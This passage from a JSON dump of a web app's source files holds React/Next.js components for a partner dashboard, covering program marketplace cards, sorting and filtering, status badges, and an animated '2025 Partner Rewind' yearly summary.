         set: {\n                      rewardType: \"discount\",\n                    },\n                    del: \"page\",\n                  })\n                }\n                className=\"mt-1\"\n              />\n            </div>\n          )}\n          {Boolean(program.categories.length) && (\n            <div className=\"min-w-0\">\n              <span className=\"text-content-muted block text-xs font-medium\">\n                Category\n              </span>\n              <div className=\"mt-1 flex items-center gap-1.5\">\n                {program.categories.slice(0, 1)?.map((category) => (\n                  <ProgramCategory\n                    key={category}\n                    category={category}\n                    onClick={() =>\n                      queryParams({\n                        set: {\n                          category,\n                        },\n                        del: \"page\",\n                      })\n                    }\n                  />\n                ))}\n                {program.categories.length > 1 && (\n                  <Tooltip\n                    content={\n                      <div className=\"flex flex-col gap-0.5 p-2\">\n                        {program.categories.slice(1).map((category) => (\n                          <ProgramCategory\n                            key={category}\n                            category={category}\n                            onClick={() =>\n                              queryParams({\n                                set: {\n                                  category,\n                                },\n                                del: \"page\",\n                              })\n                            }\n                          />\n                        ))}\n                      </div>\n                    }\n                  >\n                    <div className=\"text-content-subtle -ml-1.5 flex size-6 items-center justify-center rounded-md text-xs font-medium\">\n                      +{program.categories.length - 1}\n                    </div>\n                  </Tooltip>\n                )}\n              </div>\n            </div>\n          )}\n        </div>\n      </div>\n    </Link>\n  );\n}\n\nexport function ProgramCardSkeleton() {\n  return (\n    <div className=\"border-border-subtle rounded-xl border bg-white p-6\">\n      <div className=\"flex justify-between gap-4\">\n        <div className=\"size-12 animate-pulse rounded-full bg-neutral-200\" />\n      </div>\n\n      <div className=\"mt-4 flex flex-col\">\n        {/* Name - text-base font-semibold is typically ~24px height */}\n        <div className=\"h-6 w-32 animate-pulse rounded bg-neutral-200\" />\n\n        {/* Description - line-clamp-2 text-sm is 2 lines, ~28px total */}\n        <div className=\"mt-1 flex flex-col gap-1\">\n          <div className=\"h-4 w-full animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n        </div>\n\n        {/* Rewards/Category section - matches actual card structure */}\n        <div className=\"mt-4 flex gap-4\">\n          <div>\n            <div className=\"h-3.5 w-12 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"mt-1 h-6 w-24 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/program-sort.tsx",
    "content": "import {\n  Calendar6,\n  IconMenu,\n  Popover,\n  SortAlphaAscending,\n  SortAlphaDescending,\n  Star,\n  Tick,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { useState } from \"react\";\n\nconst programSortOptions = [\n  {\n    icon: Star,\n    label: \"Most popular\",\n    value: \"popularity\",\n    order: \"desc\",\n  },\n  {\n    icon: Calendar6,\n    label: \"Newest\",\n    value: \"recency\",\n    order: \"desc\",\n  },\n  {\n    icon: SortAlphaDescending,\n    label: \"Name A-Z\",\n    value: \"name\",\n    order: \"asc\",\n  },\n  {\n    icon: SortAlphaAscending,\n    label: \"Name Z-A\",\n    value: \"name\",\n    order: \"desc\",\n  },\n] as const;\n\nexport default function ProgramSort() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const selectedSort =\n    programSortOptions.find(\n      (s) => s.value === searchParams.get(\"sortBy\") && s.order === sortOrder,\n    ) ?? programSortOptions[0];\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full p-2 md:w-48\">\n          {programSortOptions.map(({ label, value, order, icon: Icon }) => (\n            <button\n              key={`${value}-${order}`}\n              onClick={() => {\n                queryParams({\n                  set: {\n                    sortBy: value,\n                    sortOrder: order,\n                  },\n                  del: \"page\",\n                });\n                setOpenPopover(false);\n              }}\n              className=\"flex w-full items-center justify-between space-x-2 rounded-md px-1 py-2 hover:bg-neutral-100 active:bg-neutral-200\"\n            >\n              <IconMenu text={label} icon={<Icon className=\"size-4\" />} />\n              {value === selectedSort.value && order === selectedSort.order && (\n                <Tick className=\"size-4\" aria-hidden=\"true\" />\n              )}\n            </button>\n          ))}\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <button\n        onClick={() => setOpenPopover(!openPopover)}\n        className={cn(\n          \"group flex h-9 cursor-pointer appearance-none items-center gap-x-2 truncate rounded-lg border px-3 text-sm outline-none transition-all\",\n          \"border-neutral-200 bg-white text-neutral-900 placeholder-neutral-400\",\n          \"focus-visible:border-neutral-500 data-[state=open]:border-neutral-500 data-[state=open]:ring-4 data-[state=open]:ring-neutral-200\",\n        )}\n      >\n        <span className=\"text-content-emphasis flex-1 overflow-hidden text-ellipsis whitespace-nowrap text-left\">\n          Sort by{\" \"}\n          <strong className=\"font-semibold\">{selectedSort.label}</strong>\n        </span>\n        <ChevronDown className=\"size-4 flex-shrink-0 text-neutral-400 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n      </button>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/program-status-badge.tsx",
    "content": "\"use client\";\n\nimport { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { NetworkProgramProps } from \"@/lib/types\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { StatusBadge } from \"@dub/ui\";\nimport { Lock } from \"@dub/ui/icons\";\n\nexport const ProgramNetworkStatusBadges = {\n  ...PartnerStatusBadges,\n  approved: {\n    ...PartnerStatusBadges.approved,\n    label: \"Enrolled\",\n  },\n  pending: {\n    ...PartnerStatusBadges.pending,\n    label: \"Applied\",\n  },\n};\n\nconst notEligibleBadge = {\n  variant: \"new\" as const,\n  className: \"text-blue-600 bg-blue-100\",\n  icon: Lock,\n  label: \"Not eligible\",\n};\n\nexport function ProgramStatusBadge({\n  program,\n}: {\n  program: Pick<NetworkProgramProps, \"slug\" | \"applicationRequirements\">;\n}) {\n  const { programEnrollments } = useProgramEnrollments();\n  const { partner } = usePartnerProfile();\n\n  const programEnrollmentStatus = programEnrollments?.find(\n    (programEnrollment) => programEnrollment.program.slug === program.slug,\n  )?.status;\n\n  const { reason } = evaluateApplicationRequirements({\n    applicationRequirements: program.applicationRequirements,\n    context: {\n      country: partner?.country,\n      email: partner?.email,\n    },\n  });\n\n  const statusBadge = programEnrollmentStatus\n    ? ProgramNetworkStatusBadges[programEnrollmentStatus]\n    : reason === \"requirementsNotMet\"\n      ? notEligibleBadge\n      : null;\n\n  return statusBadge ? (\n    <StatusBadge {...statusBadge} className=\"px-1.5 py-0.5\">\n      {statusBadge.label}\n    </StatusBadge>\n  ) : null;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/use-program-network-filters.tsx",
    "content": "import { PROGRAM_CATEGORIES_MAP } from \"@/lib/network/program-categories\";\nimport useNetworkProgramsCount from \"@/lib/swr/use-network-programs-count\";\nimport { REWARD_EVENTS } from \"@/ui/partners/constants\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { CircleDotted, Gift, Suitcase } from \"@dub/ui/icons\";\nimport { capitalize, cn, nFormatter } from \"@dub/utils\";\nimport { useCallback, useMemo } from \"react\";\nimport { ProgramNetworkStatusBadges } from \"./program-status-badge\";\n\nconst REWARD_TYPES = {\n  sale: {\n    icon: REWARD_EVENTS.sale.icon,\n    label: \"Sale reward (CPS)\",\n  },\n  lead: {\n    icon: REWARD_EVENTS.lead.icon,\n    label: \"Lead reward (CPL)\",\n  },\n  click: {\n    icon: REWARD_EVENTS.click.icon,\n    label: \"Click reward (CPC)\",\n  },\n  discount: {\n    icon: Gift,\n    label: \"Dual-sided incentives\",\n  },\n};\n\nexport function useProgramNetworkFilters() {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const { data: categoriesCount } = useNetworkProgramsCount<\n    | {\n        category: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      groupBy: \"category\",\n    },\n    excludeParams: [\"category\"],\n  });\n\n  const { data: rewardTypesCount } = useNetworkProgramsCount<\n    | {\n        type: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      groupBy: \"rewardType\",\n    },\n    excludeParams: [\"rewardType\"],\n  });\n\n  const { data: statusCount } = useNetworkProgramsCount<\n    | {\n        status: string | null;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      groupBy: \"status\",\n    },\n    excludeParams: [\"status\"],\n  });\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"rewardType\",\n        multiple: true,\n        icon: Gift,\n        label: \"Reward type\",\n        options: Object.entries(REWARD_TYPES).map(\n          ([key, { label, icon: Icon }]) => ({\n            value: key,\n            label,\n            icon: <Icon className=\"size-4\" />,\n            right: nFormatter(\n              rewardTypesCount?.find(({ type }) => type === key)?._count || 0,\n              { full: true },\n            ),\n          }),\n        ),\n      },\n      {\n        key: \"category\",\n        icon: Suitcase,\n        label: \"Category\",\n        labelPlural: \"categories\",\n        getOptionIcon: (value) => {\n          const Icon = PROGRAM_CATEGORIES_MAP[value]?.icon || Suitcase;\n          return <Icon className=\"size-4\" />;\n        },\n        getOptionLabel: (value) =>\n          PROGRAM_CATEGORIES_MAP[value]?.label || value.replaceAll(\"_\", \" \"),\n        options:\n          categoriesCount?.map(({ category, _count }) => ({\n            value: category,\n            label: category.replaceAll(\"_\", \" \"),\n            right: nFormatter(_count, { full: true }),\n          })) ?? [],\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options:\n          statusCount?.map(({ status, _count }) => {\n            const {\n              label,\n              icon: Icon,\n              className,\n            } = status\n              ? ProgramNetworkStatusBadges[status]\n              : {\n                  label: \"Not applied\",\n                  icon: CircleDotted,\n                  className: \"text-neutral-500\",\n                };\n            return {\n              value: status ?? \"null\",\n              label: label || capitalize(status),\n              icon: (\n                <Icon className={cn(\"size-4\", className, \"bg-transparent\")} />\n              ),\n              right: nFormatter(_count, { full: true }),\n            };\n          }) ?? null,\n      },\n    ],\n    [categoriesCount, rewardTypesCount, statusCount],\n  );\n\n  const multiFilters = useMemo(\n    () => ({\n      rewardType: searchParamsObj.rewardType?.split(\",\").filter(Boolean) ?? [],\n    }),\n    [searchParamsObj],\n  ) as Record<string, string[]>;\n\n  const activeFilters = useMemo(() => {\n    const { category, status } = searchParamsObj;\n\n    return [\n      ...Object.entries(multiFilters)\n        .map(([key, value]) => ({ key, value }))\n        .filter(({ value }) => value.length > 0),\n\n      ...(category ? [{ key: \"category\", value: category }] : []),\n      ...(status ? [{ key: \"status\", value: status }] : []),\n    ];\n  }, [searchParamsObj, multiFilters]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: Object.keys(multiFilters).includes(key)\n          ? {\n              [key]: multiFilters[key].concat(value).join(\",\"),\n            }\n          : {\n              [key]: value,\n            },\n        del: \"page\",\n      }),\n    [queryParams, multiFilters],\n  );\n\n  const onRemove = useCallback(\n    (key: string, value: any) => {\n      if (\n        Object.keys(multiFilters).includes(key) &&\n        !(multiFilters[key].length === 1 && multiFilters[key][0] === value)\n      ) {\n        queryParams({\n          set: {\n            [key]: multiFilters[key].filter((id) => id !== value).join(\",\"),\n          },\n          del: \"page\",\n        });\n      } else {\n        queryParams({\n          del: [key, \"page\"],\n        });\n      }\n    },\n    [queryParams, multiFilters],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\n          ...Object.keys(multiFilters),\n          \"category\",\n          \"status\",\n          \"search\",\n          \"page\",\n        ],\n      }),\n    [queryParams, multiFilters],\n  );\n\n  const isFiltered = Boolean(\n    activeFilters.length > 0 || searchParamsObj.search,\n  );\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/page-client.tsx",
    "content": "\"use client\";\n\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramCard, ProgramCardSkeleton } from \"@/ui/partners/program-card\";\nimport { ProgramsPromoBanner } from \"@/ui/partners/program-marketplace/programs-promo-banner\";\nimport { SimpleEmptyState } from \"@/ui/shared/simple-empty-state\";\nimport { HexadecagonStar } from \"@dub/ui/icons\";\nimport { useId } from \"react\";\n\nexport function PartnersDashboardPageClient() {\n  const { programEnrollments: allProgramEnrollments, isLoading } =\n    useProgramEnrollments({\n      includeRewardsDiscounts: true,\n    });\n\n  const programEnrollments = allProgramEnrollments?.filter(\n    (programEnrollment) => programEnrollment.status !== \"invited\",\n  );\n\n  return (\n    <PageWidthWrapper className=\"pb-10\">\n      <ProgramsPromoBanner />\n\n      {programEnrollments?.length == 0 ? (\n        <SimpleEmptyState\n          title=\"No programs\"\n          description=\"When you've joined or applied for a program it will appear here.\"\n          graphic={\n            <div className=\"border-border-subtle flex flex-col gap-4 rounded-xl border p-3 shadow-[0_4px_12px_#0001]\">\n              <HexadecagonStar className=\"text-content-default size-6\" />\n              <div className=\"flex flex-col gap-2\">\n                <div className=\"bg-bg-emphasis h-2.5 w-8 rounded\" />\n                <div className=\"bg-bg-emphasis h-2.5 w-16 rounded\" />\n              </div>\n              <div className=\"bg-bg-subtle border-subtle grid w-40 max-w-full grid-cols-2 items-center gap-5 rounded-lg border p-2\">\n                <div className=\"flex flex-col gap-2\">\n                  <div className=\"bg-bg-emphasis h-2.5 w-9 rounded\" />\n                  <div className=\"bg-bg-inverted h-2.5 w-12 rounded\" />\n                </div>\n                <EmptyStateChart />\n              </div>\n            </div>\n          }\n        />\n      ) : (\n        <div className=\"@md/page:grid-cols-2 @3xl/page:grid-cols-3 grid gap-4\">\n          {isLoading\n            ? Array.from({ length: 3 }).map((_, idx) => (\n                <ProgramCardSkeleton key={idx} />\n              ))\n            : programEnrollments?.map((programEnrollment, idx) => (\n                <ProgramCard key={idx} programEnrollment={programEnrollment} />\n              ))}\n        </div>\n      )}\n    </PageWidthWrapper>\n  );\n}\n\nfunction EmptyStateChart() {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 61 28\"\n      className=\"h-auto w-full\"\n    >\n      <defs>\n        <linearGradient id={id} x1=\"0\" y1=\"0\" x2=\"0\" y2=\"1\">\n          <stop stopColor=\"#262626\" />\n          <stop stopColor=\"#262626\" stopOpacity=\"0\" offset=\"1\" />\n        </linearGradient>\n      </defs>\n      <path\n        fill={`url(#${id})`}\n        d=\"m51.893 5.274-4.954 6.63a4 4 0 0 1-4.88 1.238l-3.053-1.408a4 4 0 0 0-3.062-.121l-5.094 1.88a4 4 0 0 1-1.753.231l-5.836-.538a4 4 0 0 1-1.443-.417l-4.338-2.202a4 4 0 0 0-4.524.627l-4.873 4.499a4 4 0 0 1-1.327.813L0 19v9h60V1l-6.579 3.036a4 4 0 0 0-1.528 1.238\"\n        opacity=\"0.25\"\n      />\n      <path\n        stroke=\"#262626\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.5\"\n        d=\"m.5 19.274 6.668-3.125a6 6 0 0 0 1.375-.892l3.738-3.228a6 6 0 0 1 6.646-.805l2.76 1.406a6 6 0 0 0 2.253.636l5.066.399a6 6 0 0 0 2.271-.258l4.283-1.348a6 6 0 0 1 3.997.14l1.252.492a6 6 0 0 0 6.944-1.916l3.779-4.891a6 6 0 0 1 2.195-1.762l6.106-2.872\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PartnersDashboardPageClient } from \"./page-client\";\n\nexport default function PartnersDashboard() {\n  return (\n    <PageContent title=\"Programs\">\n      <PartnersDashboardPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/rewind/2025/conclusion.tsx",
    "content": "import { usePartnerRewindStatus } from \"@/ui/partners/rewind/use-partner-rewind-status\";\nimport { Button, ChevronLeft, Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect } from \"react\";\nimport { navButtonClassName } from \"./rewind\";\n\nexport function Conclusion({\n  onRestart,\n  onClose,\n}: {\n  onRestart: () => void;\n  onClose: () => void;\n}) {\n  const { status, setStatus } = usePartnerRewindStatus();\n\n  // Set status to card (shows in sidebar) after the user has finished the rewind\n  useEffect(() => {\n    if (status !== \"card\") setStatus(\"card\");\n  }, [status]);\n\n  return (\n    <div className=\"flex flex-col items-center gap-6 text-center\">\n      <div className={cn(\"flex flex-col items-center gap-2\")}>\n        <Wordmark\n          className={cn(\n            \"h-12\",\n            \"animate-slide-up-fade [--offset:10px] [animation-duration:1.5s]\",\n          )}\n        />\n        <h2\n          className={cn(\n            \"text-content-emphasis text-2xl font-bold\",\n            \"animate-slide-up-fade [--offset:10px] [animation-delay:0.2s] [animation-duration:1.5s] [animation-fill-mode:both]\",\n          )}\n        >\n          Partner Rewind &rsquo;25\n        </h2>\n      </div>\n      <p\n        className={cn(\n          \"text-content-default max-w-[480px] text-pretty text-xl font-medium\",\n          \"animate-slide-up-fade [--offset:10px] [animation-delay:0.3s] [animation-duration:1s] [animation-fill-mode:both]\",\n        )}\n      >\n        Thank you for all your hard work being a Dub Partner. We can&rsquo;t\n        wait to see what you&rsquo;ll do in 2026!\n      </p>\n      <div className=\"animate-slide-up-fade flex items-center gap-2 [--offset:10px] [animation-delay:0.4s] [animation-duration:1s] [animation-fill-mode:both]\">\n        <button\n          type=\"button\"\n          onClick={onRestart}\n          className={navButtonClassName}\n        >\n          <ChevronLeft className=\"size-3 [&_*]:stroke-2\" />\n        </button>\n        <Button\n          text=\"Close\"\n          className=\"h-8 w-fit rounded-lg px-4\"\n          onClick={onClose}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/rewind/2025/intro.tsx",
    "content": "import { Button, Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function Intro({ onStart }: { onStart: () => void }) {\n  return (\n    <div className=\"flex flex-col items-center gap-6 text-center\">\n      <div\n        className={cn(\n          \"flex flex-col items-center gap-2\",\n          \"animate-partner-rewind-intro\",\n        )}\n      >\n        <Wordmark\n          className={cn(\n            \"h-12\",\n            \"animate-slide-up-fade [--offset:10px] [animation-duration:1.5s]\",\n          )}\n        />\n        <h2\n          className={cn(\n            \"text-content-emphasis text-2xl font-bold\",\n            \"animate-slide-up-fade [--offset:10px] [animation-delay:0.2s] [animation-duration:1.5s] [animation-fill-mode:both]\",\n          )}\n        >\n          Partner Rewind &rsquo;25\n        </h2>\n      </div>\n      <p\n        className={cn(\n          \"text-content-default max-w-[420px] text-pretty text-xl font-medium\",\n          \"animate-slide-up-fade [--offset:10px] [animation-delay:1.9s] [animation-duration:1s] [animation-fill-mode:both]\",\n        )}\n      >\n        This was a huge year for partners. Let&rsquo;s rewind to have a look at\n        your 2025 impact.\n      </p>\n      <div className=\"animate-slide-up-fade [--offset:10px] [animation-delay:2s] [animation-duration:1s] [animation-fill-mode:both]\">\n        <Button\n          text=\"Rewind the year\"\n          className=\"h-9 w-fit rounded-lg px-4\"\n          onClick={onStart}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/rewind/2025/page-client.tsx",
    "content": "\"use client\";\n\nimport { PartnerRewindProps } from \"@/lib/types\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { Conclusion } from \"./conclusion\";\nimport { Intro } from \"./intro\";\nimport { Rewind } from \"./rewind\";\n\nexport function PartnerRewind2025PageClient({\n  partnerRewind,\n}: {\n  partnerRewind: PartnerRewindProps;\n}) {\n  const router = useRouter();\n\n  const [state, setState] = useState<\"intro\" | \"rewind\" | \"conclusion\">(\n    \"intro\",\n  );\n\n  return (\n    <AnimatePresence initial={false} mode=\"wait\">\n      <motion.div\n        key={state}\n        initial={{ opacity: 0, scale: 0.9, filter: \"blur(10px)\" }}\n        animate={{ opacity: 1, scale: 1, filter: \"blur(0px)\" }}\n        exit={{ opacity: 0, scale: 0.9, filter: \"blur(10px)\" }}\n        transition={{ duration: 0.5 }}\n        className=\"w-full\"\n      >\n        {state === \"intro\" && <Intro onStart={() => setState(\"rewind\")} />}\n        {state === \"rewind\" && (\n          <Rewind\n            partnerRewind={partnerRewind}\n            onComplete={() => setState(\"conclusion\")}\n          />\n        )}\n        {state === \"conclusion\" && (\n          <Conclusion\n            onRestart={() => setState(\"intro\")}\n            onClose={() => router.push(\"/\")}\n          />\n        )}\n      </motion.div>\n    </AnimatePresence>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/rewind/2025/page.tsx",
    "content": "import { getPartnerRewind } from \"@/lib/api/partners/get-partner-rewind\";\nimport { getSession } from \"@/lib/auth\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport {\n  REWIND_ASSETS_PATH,\n  REWIND_STEPS,\n} from \"@/ui/partners/rewind/constants\";\nimport { prisma } from \"@dub/prisma\";\nimport { Grid } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport { preload } from \"react-dom\";\nimport { PartnerRewind2025PageClient } from \"./page-client\";\n\nexport default async function PartnerRewind2025Page() {\n  const { user } = await getSession();\n\n  if (!user.defaultPartnerId) redirect(\"/\");\n\n  const partnerUser = await prisma.partnerUser.findUnique({\n    select: { partnerId: true },\n    where: {\n      userId_partnerId: {\n        userId: user.id,\n        partnerId: user.defaultPartnerId,\n      },\n    },\n  });\n\n  if (!partnerUser) redirect(\"/\");\n\n  const partnerRewind = await getPartnerRewind({\n    partnerId: partnerUser.partnerId,\n  });\n\n  if (!partnerRewind) redirect(\"/\");\n\n  preload(`${REWIND_ASSETS_PATH}/top-medallion.png`, { as: \"image\" });\n  REWIND_STEPS.forEach((step) => {\n    preload(`${REWIND_ASSETS_PATH}/${step.video}`, { as: \"video\" });\n  });\n\n  return (\n    <PageContent\n      title=\"Partner rewind\"\n      className=\"flex h-full flex-col\"\n      contentWrapperClassName=\"grow pt-0 lg:pt-0\"\n    >\n      <div className=\"bg-bg-muted relative size-full\">\n        <div className=\"animate-fade-in absolute inset-0 overflow-hidden [mask-image:radial-gradient(transparent,black)]\">\n          <Grid\n            cellSize={56}\n            patternOffset={[-4, -28]}\n            className=\"text-border-default/80\"\n          />\n          <Gradient className=\"absolute bottom-0 left-0 h-[720px] w-96 -translate-x-1/2 translate-y-1/2 -rotate-[55deg] opacity-30\" />\n          <Gradient className=\"absolute right-0 top-0 h-[720px] w-96 -translate-y-1/2 translate-x-1/2 -rotate-[55deg] opacity-20\" />\n        </div>\n\n        <div className=\"scrollbar-hide flex size-full items-center justify-center overflow-y-auto p-6\">\n          <PartnerRewind2025PageClient partnerRewind={partnerRewind} />\n        </div>\n      </div>\n    </PageContent>\n  );\n}\n\nfunction Gradient({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"[background-image:radial-gradient(140%_146%_at_93%_14%,#72FE7D,rgba(114,254,125,0)_50%),radial-gradient(126%_82%_at_56%_100%,#FD3A4E,rgba(253,58,78,0)_50%),radial-gradient(131%_124%_at_11%_35%,#855AFC,rgba(133,90,252,0)_50%),radial-gradient(117%_77%_at_100%_100%,#E4C795,rgba(228,199,149,0)_50%),radial-gradient(86%_74%_at_40%_59%,#3A8BFD,rgba(58,139,253,0)_50%),radial-gradient(115%_96%_at_42%_69%,#EEA5BA,rgba(238,165,186,0)_50%)]\",\n        \"blur-[60px]\",\n        className,\n      )}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/rewind/2025/rewind.tsx",
    "content": "import { PartnerRewindProps } from \"@/lib/types\";\nimport {\n  AnimatedSizeContainer,\n  ChevronLeft,\n  ChevronRight,\n  ReferredVia,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils/src\";\nimport NumberFlow from \"@number-flow/react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { CSSProperties, useEffect, useMemo, useState } from \"react\";\nimport {\n  REWIND_ASSETS_PATH,\n  REWIND_PERCENTILES,\n  REWIND_STEPS,\n} from \"../../../../../../ui/partners/rewind/constants\";\nimport { useShareRewindModal } from \"./share-rewind-modal\";\n\nconst STEP_DELAY_MS = 8_000;\n\nexport const navButtonClassName =\n  \"bg-neutral-200 text-content-subtle disabled:opacity-50 hover:bg-neutral-300 ease-out flex size-8 items-center text-sm font-medium gap-2 justify-center rounded-lg transition-[background-color,transform] active:scale-95\";\n\nexport function Rewind({\n  partnerRewind,\n  onComplete,\n}: {\n  partnerRewind: PartnerRewindProps;\n  onComplete: () => void;\n}) {\n  const steps = useMemo(\n    () =>\n      REWIND_STEPS.map((step) =>\n        partnerRewind[step.id]\n          ? {\n              ...step,\n              value: partnerRewind[step.id],\n              percentile: partnerRewind[step.percentileId],\n            }\n          : null,\n      ).filter((s): s is NonNullable<typeof s> => s !== null),\n    [partnerRewind],\n  );\n\n  const [isPaused, setIsPaused] = useState(false);\n  const [currentStepIndex, setCurrentStepIndex] = useState(0);\n\n  useEffect(() => {\n    if (currentStepIndex > steps.length - 1) {\n      onComplete();\n      return;\n    }\n\n    if (isPaused) return;\n\n    const timeout = setTimeout(() => {\n      setCurrentStepIndex((i) => i + 1);\n    }, STEP_DELAY_MS);\n\n    return () => clearTimeout(timeout);\n  }, [steps, currentStepIndex, isPaused, onComplete]);\n\n  const { ShareRewindModal, setShowShareRewindModal } = useShareRewindModal({\n    step: steps[Math.min(currentStepIndex, steps.length - 1)].id,\n  });\n\n  return (\n    <div className=\"flex w-full flex-col items-center\">\n      <ShareRewindModal />\n      <div className=\"flex items-center gap-0.5\">\n        {steps.map((step, index) => (\n          <button\n            key={step.id}\n            onClick={() => {\n              setIsPaused(true);\n              setCurrentStepIndex(index);\n            }}\n            className=\"rounded-full p-1 transition-all hover:bg-black/5 active:scale-95\"\n          >\n            <div className=\"bg-bg-emphasis relative h-1.5 w-10 overflow-hidden rounded-full\">\n              {index === currentStepIndex && !isPaused ? (\n                <motion.div\n                  className=\"bg-bg-inverted absolute inset-0 rounded-full\"\n                  initial={{ x: \"-100%\", opacity: 0.3 }}\n                  animate={{ x: 0, opacity: 1 }}\n                  transition={{\n                    duration: STEP_DELAY_MS / 1000,\n                    ease: \"linear\",\n                  }}\n                />\n              ) : (\n                <div\n                  className={cn(\n                    \"bg-bg-inverted size-full rounded-full transition-opacity\",\n                    index > currentStepIndex && \"opacity-0\",\n                  )}\n                />\n              )}\n            </div>\n          </button>\n        ))}\n      </div>\n\n      <AnimatedSizeContainer\n        height\n        transition={{ duration: 0.3, ease: \"easeOut\" }}\n        className=\"!w-full\"\n      >\n        <AnimatePresence mode=\"wait\">\n          {currentStepIndex < steps.length && (\n            <motion.div\n              key={currentStepIndex}\n              initial={{ opacity: 0, scale: 0.9, y: 20, filter: \"blur(10px)\" }}\n              animate={{ opacity: 1, scale: 1, y: 0, filter: \"blur(0px)\" }}\n              exit={{ opacity: 0, scale: 0.9, y: 20, filter: \"blur(10px)\" }}\n              transition={{ duration: 0.3 }}\n              className=\"flex w-full flex-col items-center py-6\"\n            >\n              <StepSlide {...steps[currentStepIndex]} />\n            </motion.div>\n          )}\n        </AnimatePresence>\n      </AnimatedSizeContainer>\n\n      <div className=\"flex items-center gap-2\">\n        <button\n          type=\"button\"\n          onClick={() => {\n            setIsPaused(false);\n            setCurrentStepIndex((c) => Math.max(c - 1, 0));\n          }}\n          disabled={currentStepIndex <= 0}\n          className={navButtonClassName}\n        >\n          <ChevronLeft className=\"size-3 [&_*]:stroke-2\" />\n        </button>\n        <button\n          type=\"button\"\n          onClick={() => {\n            setIsPaused(true);\n            setShowShareRewindModal(true);\n          }}\n          className={cn(navButtonClassName, \"text-content-emphasis w-fit px-3\")}\n        >\n          Share\n          <ReferredVia className=\"size-3.5\" />\n        </button>\n        <button\n          type=\"button\"\n          onClick={() => {\n            setIsPaused(false);\n            if (currentStepIndex < steps.length - 1)\n              setCurrentStepIndex((c) => Math.min(c + 1, steps.length - 1));\n            else onComplete();\n          }}\n          className={navButtonClassName}\n        >\n          <ChevronRight className=\"size-3 [&_*]:stroke-2\" />\n        </button>\n      </div>\n    </div>\n  );\n}\n\nfunction StepSlide({\n  label,\n  value: rawValue,\n  valueType,\n  percentile,\n  video,\n}: {\n  label: string;\n  value: number;\n  valueType: \"number\" | \"currency\";\n  percentile: number;\n  video: string;\n}) {\n  const value =\n    valueType === \"currency\"\n      ? Math.floor(rawValue / 100)\n      : Math.floor(rawValue);\n\n  const [animatedValue, setAnimatedValue] = useState<number>(0);\n  useEffect(() => setAnimatedValue(value), [value]);\n\n  const percentileLabel = REWIND_PERCENTILES.find(\n    ({ minPercentile }) => percentile >= minPercentile,\n  )?.label;\n\n  return (\n    <div className=\"bg-bg-default border-border-subtle flex w-full max-w-screen-sm flex-col rounded-2xl border p-6 drop-shadow-sm sm:p-10\">\n      <div className=\"flex grow flex-col\">\n        <span className=\"text-content-emphasis text-lg 